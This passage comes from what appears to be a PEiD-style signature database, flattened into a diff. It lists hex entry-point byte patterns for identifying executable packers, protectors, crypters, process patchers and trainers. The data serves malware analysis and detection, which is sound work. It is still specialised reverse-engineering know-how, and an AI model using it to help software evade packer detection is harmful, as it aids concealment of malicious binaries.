8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB 14 +ep_only = true + +[PECompact v1.20 - v1.20.1] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 9A 70 40 +ep_only = true + +[PECompact v1.22] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 ?? 70 40 ?? 90 90 01 85 9E 70 40 ?? BB F3 08 +ep_only = true + +[PECompact v1.23b3 - v1.24.1] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 08 +ep_only = true + +[PECompact v1.24.2 - v1.24.3] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 09 +ep_only = true + +[PECompact v1.25] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? F3 0D +ep_only = true + +[PECompact v1.26b1 - v1.26b2] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? 05 0E +ep_only = true + +[PECompact v1.33] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 00 80 40 ?? 90 90 01 85 9E 80 40 ?? BB E8 0E +ep_only = true + +[PECompact v1.34 - v1.40b1] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 00 80 ?? 40 90 90 01 85 9E 80 ?? 40 BB F8 10 +ep_only = true + +[PECompact v1.40 - v1.45] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB C3 11 +ep_only = true + +[PECompact v1.40b2 - v1.40b4] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 86 11 +ep_only = true + +[PECompact v1.40b5 - v1.40b6] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 8A 11 +ep_only = true + +[PECompact v1.46] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 60 12 +ep_only = true + +[PECompact v1.47 - v1.50] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 5B 12 +ep_only = true + +[PECompact v1.55] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A2 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 9E 80 40 ?? BB 2D 12 +ep_only = true + +[PECompact v1.56] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 90 40 ?? 87 DD 8B 85 A2 90 40 ?? 01 85 03 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 9E 90 40 ?? BB 2D 12 +ep_only = true + +[PECompact v1.60 - v1.65] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 80 40 ?? 87 DD 8B 85 D2 80 40 ?? 01 85 33 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 CE 80 40 ?? BB BB 12 +ep_only = true + +[PECompact v1.66] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 ?? 87 DD 8B 85 E6 90 40 ?? 01 85 33 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 DA 90 40 ?? 01 85 DE 90 40 ?? 01 85 E2 90 40 ?? BB 5B 11 +ep_only = true + +[PECompact v2.00 alpha 38] +signature = B8 ?? ?? ?? ?? 80 B8 BF 10 00 10 01 74 7A C6 80 BF 10 00 10 01 9C 55 53 51 57 52 56 8D 98 0F 10 00 10 8B 53 14 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 8B F8 50 8B 33 8B 53 14 03 F2 8B 4B 0C 03 CA 8D 85 B7 10 00 10 FF 73 04 8F +ep_only = false + +[PECompact v2.5 Retail -> Bitsum Technologies] +signature = B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 +ep_only = true + +[PeCompact2 2.53-2.76 --> BitSum Technologies] +signature = B8 ?? ?? ?? ?? 55 53 51 57 56 52 8D 98 C9 11 00 10 8B 53 18 52 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 5A 8B F8 50 52 8B 33 8B 43 20 03 C2 8B 08 89 4B 20 8B 43 1C 03 C2 8B 08 89 4B 1C 03 F2 8B 4B 0C 03 CA 8D 43 1C 50 57 56 FF +ep_only = false + +[PEncrypt v3.0] +signature = E8 00 00 00 00 5D 81 ED 05 10 40 00 8D B5 24 10 40 00 8B FE B9 0F 00 00 00 BB ?? ?? ?? ?? AD 33 C3 E2 FA +ep_only = true + +[PENinja] +signature = 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 +ep_only = true + +[PENinja modified] +signature = 5D 8B C5 81 ED B2 2C 40 00 2B 85 94 3E 40 00 2D 71 02 00 00 89 85 98 3E 40 00 0F B6 B5 9C 3E 40 00 8B FD +ep_only = true + +[PEQuake v0.06 by fORGAT] +signature = E8 A5 00 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 3D ?? 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? 00 00 5B ?? 00 00 6E ?? 00 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 +ep_only = false + +[PESpin V0.71 -> cyberbob] +signature = EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E +ep_only = true + +[Petite 1.3 -> (c)1998 Ian Luck (h)] +signature = ?? ?? ?? ?? ?? ?? 9C 60 50 8D 88 00 ?? ?? ?? 8D 90 ?? ?? 00 00 8B DC 8B E1 68 00 00 ?? ?? 53 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 DA 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03 +ep_only = true + +[Petite 2.2 -> (c)1998-99 Ian Luck (h)] +signature = ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 68 00 00 ?? ?? 8B 3C 24 8B 30 66 81 C7 80 07 8D 74 06 08 89 38 8B 5E 10 50 56 6A 02 68 80 08 00 00 57 6A ?? 6A 06 56 6A 04 68 80 08 00 00 57 FF D3 83 EE 08 59 F3 A5 59 66 +ep_only = true + +[PEZip v1.0 by BaGIE] +signature = D9 D0 F8 74 02 23 DB F5 F5 50 51 52 53 8D 44 24 10 50 55 56 57 D9 D0 22 C9 C1 F7 A0 55 66 C1 C8 B0 5D 81 E6 FF FF FF FF F8 77 07 52 76 03 72 01 90 5A C1 E0 60 90 BD 1F 01 00 00 87 E8 E2 07 E3 05 17 5D 47 E4 42 41 7F 06 50 66 83 EE 00 58 25 FF FF FF FF 51 +ep_only = false + +[PocketPC ARM] +signature = F0 40 2D E9 00 40 A0 E1 01 50 A0 E1 02 60 A0 E1 03 70 A0 E1 ?? 00 00 EB 07 30 A0 E1 06 20 A0 E1 05 10 A0 E1 04 00 A0 E1 ?? ?? ?? EB F0 40 BD E8 ?? 00 00 EA ?? 40 2D E9 ?? ?? 9F E5 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 9F E5 00 ?? ?? ?? ?? 00 +ep_only = true + +[PocketPC MIB] +signature = E8 FF BD 27 14 00 BF AF 18 00 A4 AF 1C 00 A5 AF 20 00 A6 AF 24 00 A7 AF ?? ?? ?? 0C 00 00 00 00 18 00 A4 8F 1C 00 A5 8F 20 00 A6 8F ?? ?? ?? 0C 24 00 A7 8F ?? ?? ?? 0C 25 20 40 00 14 00 BF 8F 08 00 E0 03 18 00 BD 27 ?? FF BD 27 18 00 ?? AF ?? 00 +ep_only = true + +[PocketPC SHA] +signature = 86 2F 96 2F A6 2F B6 2F 22 4F 43 68 53 6B 63 6A 73 69 F0 7F 0B D0 0B 40 09 00 09 D0 B3 65 A3 66 93 67 0B 40 83 64 03 64 04 D0 0B 40 09 00 10 7F 26 4F F6 6B F6 6A F6 69 0B 00 F6 68 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 22 4F F0 7F 0A D0 06 D4 06 D5 0B 40 09 +ep_only = true + +[PowerBASIC/CC 4.0] +signature = 55 8B EC 53 56 57 BB 00 ?? 40 00 66 2E F7 05 ?? ?? 40 00 04 00 75 05 E9 68 05 00 00 E9 6E 03 +ep_only = true + +[PowerBASIC/Win 8.00] +signature = 55 8B EC 53 56 57 BB 00 ?? ?? 00 66 2E F7 05 ?? ?? 40 00 04 00 75 05 E9 14 04 00 00 E9 19 02 +ep_only = true + +[PrincessSandy v1.0 eMiNENCE Process Patcher Patch] +signature = 68 27 11 40 00 E8 3C 01 00 00 6A 00 E8 41 01 00 00 A3 00 20 40 00 8B 58 3C 03 D8 0F B7 43 14 0F B7 4B 06 8D 7C 18 18 81 3F 2E 4C 4F 41 74 0B 83 C7 28 49 75 F2 E9 A7 00 00 00 8B 5F 0C 03 1D 00 20 40 00 89 1D 04 20 40 00 8B FB 83 C7 04 68 4C 20 40 00 68 08 +ep_only = false + +[Private exe Protector V1.8X-V1.9X -> SetiSoft Team] +signature = 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 +ep_only = false + +[PseudoSigner 0.2 [Armadillo 3.00] --> Anorganix] +signature = 60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85 +ep_only = true + +[PseudoSigner 0.2 [CodeSafe 2.0] --> Anorganix] +signature = 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85 +ep_only = true + +[PseudoSigner 0.2 [DEF 1.0] --> Anorganix] +signature = BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01 +ep_only = true + +[PseudoSigner 0.2 [DxPack 1.0] --> Anorganix] +signature = 60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00 +ep_only = true + +[PseudoSigner 0.2 [ExeSmasher] --> Anorganix] +signature = 9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B +ep_only = true + +[PseudoSigner 0.2 [Gleam 1.00] --> Anorganix] +signature = 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF +ep_only = true + +[PseudoSigner 0.2 [JDPack 1.x / JDProtect 0.9] --> Anorganix] +signature = 60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01 +ep_only = true + +[PseudoSigner 0.2 [PESHiELD 0.25] --> Anorganix] +signature = 60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC +ep_only = true + +[PseudoSigner 0.2 [ZCode 1.01] --> Anorganix] +signature = E9 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E9 FB FF FF FF C3 68 00 00 00 00 64 FF 35 00 00 00 00 +ep_only = true + +[R!SC's Process Patcher v1.4] +signature = E8 E1 01 00 00 80 38 22 75 13 80 38 00 74 2E 80 38 20 75 06 80 78 FF 22 74 18 40 EB ED 80 38 00 74 1B EB 19 40 80 78 FF 20 75 F9 80 38 00 74 0D EB 0B 40 80 38 00 74 05 80 38 22 74 00 8B F8 B8 04 60 40 00 68 00 20 40 00 C7 05 A2 20 40 00 44 00 00 00 68 92 +ep_only = false + +[R!SC's Process Patcher v1.5.1] +signature = 68 00 20 40 00 E8 C3 01 00 00 80 38 00 74 0D 66 81 78 FE 22 20 75 02 EB 03 40 EB EE 8B F8 B8 04 60 40 00 68 C4 20 40 00 68 D4 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 9F 01 00 00 85 C0 0F 84 39 01 00 00 BE 00 60 40 00 8B 06 A3 28 21 40 00 83 +ep_only = false + +[RJcrush v1.00] +signature = 06 FC 8C C8 BA ?? ?? 03 D0 52 BA ?? ?? 52 BA ?? ?? 03 C2 8B D8 05 ?? ?? 8E DB 8E C0 33 F6 33 FF B9 +ep_only = true + +[RLPack -> Ap0x] +signature = 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85 ?? ?? ?? ?? EB 14 60 FF B5 3A 0A +ep_only = true + +[RLPack -> Ap0x] +signature = 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 2C 0A 00 00 8D 9D 22 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 CD 09 00 00 89 85 ?? ?? ?? ?? EB 14 60 FF B5 14 0A +ep_only = true + +[RLPack 1.17+] +signature = 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? 00 00 8D 9D ?? ?? 00 00 33 FF E8 ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 37 FF D3 +ep_only = true + +[RLPack Full Edition 1.17 DLL [LZMA] -> Ap0x] +signature = 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85 +ep_only = true + +[RLPack FullEdition V1.1X -> ap0x * Sign.By.fly] +signature = 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 10 +ep_only = false + +[RLPack v0.7.3beta -> ap0x (h)] +signature = 60 8B DD E8 00 00 00 00 5D 95 32 C0 95 89 9D 80 00 00 00 B8 42 31 40 00 BB 41 30 40 00 2B C3 03 C5 33 D2 8A 10 40 B9 ?? ?? 00 00 8B F9 30 10 8A 10 40 49 75 F8 64 EF 86 3D 30 00 00 0F B9 FF 4B 89 52 5C 4C BD 77 C2 0C CE 88 4E 2D E8 00 00 00 5D 0D DB 5E 56 +ep_only = false + +[RLPack V1.11 -> ap0x] +signature = 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 4A 02 00 00 8D 9D 11 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB +ep_only = true + +[SecuPack v1.5] +signature = 55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 CC 3A 40 ?? E8 E0 FC FF FF 33 C0 55 68 EA 3C 40 ?? 64 FF 30 64 89 20 6A ?? 68 80 ?? ?? ?? 6A 03 6A ?? 6A 01 ?? ?? ?? 80 +ep_only = true + +[Setup Factory v6.0.0.3 Setup Launcher] +signature = 55 8B EC 6A FF 68 90 61 40 00 68 70 3B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 14 61 40 00 33 D2 8A D4 89 15 5C 89 40 00 8B C8 81 E1 FF 00 00 00 89 0D 58 89 40 00 C1 E1 08 03 CA 89 0D 54 89 40 00 C1 E8 10 A3 50 89 +ep_only = false + +[Shrinker v3.4] +signature = 83 3D B4 ?? ?? ?? ?? 55 8B EC 56 57 75 6B 68 00 01 00 00 E8 ?? 0B 00 00 83 C4 04 8B 75 08 A3 B4 ?? ?? ?? 85 F6 74 23 83 7D 0C 03 77 1D 68 FF +ep_only = true + +[SimplePack 1.11 Method 2(NT) -> bagie[TMX] (h)] +signature = 4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 40 00 00 C0 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 EB 01 CD 64 A1 30 00 00 00 EB 01 CD 8B 48 0C E3 6F EB 01 CD 05 AC 00 00 00 EB 01 CD 66 81 38 93 08 EB 01 CD 75 0A EB 01 CD B8 38 FF FF FF EB 14 EB 01 CD 66 81 38 28 0A 75 4A EB 01 CD B8 1A FF FF FF EB 00 EB 01 CD 31 C9 EB 01 CD 51 EB 01 CD 51 EB 01 CD 6A 11 EB 01 CD 6A FE EB 01 CD E8 03 00 00 00 EB 01 CD 83 04 24 18 EB +ep_only = true + +[SimplePack V1.0X -> bagie] +signature = 60 E8 00 00 00 00 5B 8D 5B FA 6A 00 FF 93 ?? ?? 00 00 89 C5 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 8B 86 88 00 00 00 09 C0 +ep_only = true + +[SimplePack V1.X (Method1) -> bagie] +signature = 60 E8 00 00 00 00 5B 8D 5B FA BD ?? ?? ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 +ep_only = true + +[SoftProtect -> SoftProtect.by.ru] +signature = EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 60 E8 03 ?? ?? ?? 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 EB 01 83 9C EB 01 D5 EB 08 35 9D EB 01 89 EB 03 0B EB F7 E8 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 59 83 01 01 80 39 5C +ep_only = true + +[SPEC b3] +signature = 5B 53 50 45 43 5D E8 ?? ?? ?? ?? 5D 8B C5 81 ED 41 24 40 ?? 2B 85 89 26 40 ?? 83 E8 0B 89 85 8D 26 40 ?? 0F B6 B5 91 26 40 ?? 8B FD +ep_only = true + +[Special EXE Password Protector v1.0] +signature = 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 +ep_only = true + +[Stone's PE Encryptor v1.0] +signature = 55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 63 3A 40 ?? 2B 95 C2 3A 40 ?? 83 EA 0B 89 95 CB 3A 40 ?? 8D B5 CA 3A 40 ?? 0F B6 36 +ep_only = true + +[Stone's PE Encryptor v1.13] +signature = 55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 97 3B 40 ?? 2B 95 2D 3C 40 ?? 83 EA 0B 89 95 36 3C 40 ?? 01 95 24 3C 40 ?? 01 95 28 +ep_only = true + +[SVK-Protector v1.051] +signature = 60 EB 03 C7 84 E8 EB 03 C7 84 9A E8 00 00 00 00 5D 81 ED 10 00 00 00 EB 03 C7 84 E9 64 A0 23 00 00 00 EB +ep_only = true + +[tElock v0.41x] +signature = 66 8B C0 8D 24 24 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 50 8B FE 68 78 01 ?? ?? 59 EB 01 EB AC 54 E8 03 ?? ?? ?? 5C EB 08 +ep_only = true + +[tElock v0.42] +signature = C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 52 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08 +ep_only = true + +[tElock v0.4x - v0.5x] +signature = C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 ?? 8B FE 68 79 01 ?? ?? 59 EB 01 +ep_only = true + +[tElock v0.51] +signature = C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08 +ep_only = true + +[tElock v0.99 Special Build -> heXer & forgot] +signature = E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 ?? ?? 00 F5 ?? ?? 00 ED ?? ?? 00 00 00 00 00 00 00 00 00 12 ?? ?? 00 FD ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00 +ep_only = true + +[Themida/WinLicense V1.0.0.0-V1.8.0.0-> Oreans Technologies] +signature = B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? E8 00 00 00 00 +ep_only = true + +[Themida/WinLicense V1.8.0.2 + -> Oreans Technologies] +signature = B8 00 00 00 00 60 0B C0 74 68 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 +ep_only = true + +[Thinstall 2.5 -> ??? (h)] +signature = 55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A7 1A 00 00 B9 6C 1A 00 00 BA 20 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD EC 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10 +ep_only = true + +[Trainer Creation Kit v5 Trainer] +signature = 6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 40 68 25 45 40 00 E8 3C 02 00 00 50 6A 00 68 40 45 40 00 68 00 10 00 00 68 00 30 40 00 50 E8 54 02 00 00 58 50 E8 17 02 00 00 6A 00 E8 2E 02 00 00 A3 70 45 40 00 68 25 45 40 00 E8 2B 02 00 00 A3 30 45 40 +ep_only = false + +[Upack 0.22 - 0.23 beta -> Dwing] +signature = ?? ?? ?? ?? ?? ?? ?? AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 ?? 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 +ep_only = true + +[UPack v0.11] +signature = BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 1C F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 03 B3 00 8D 1C 5B 8D 9C 9E 0C 10 00 00 B0 01 67 E3 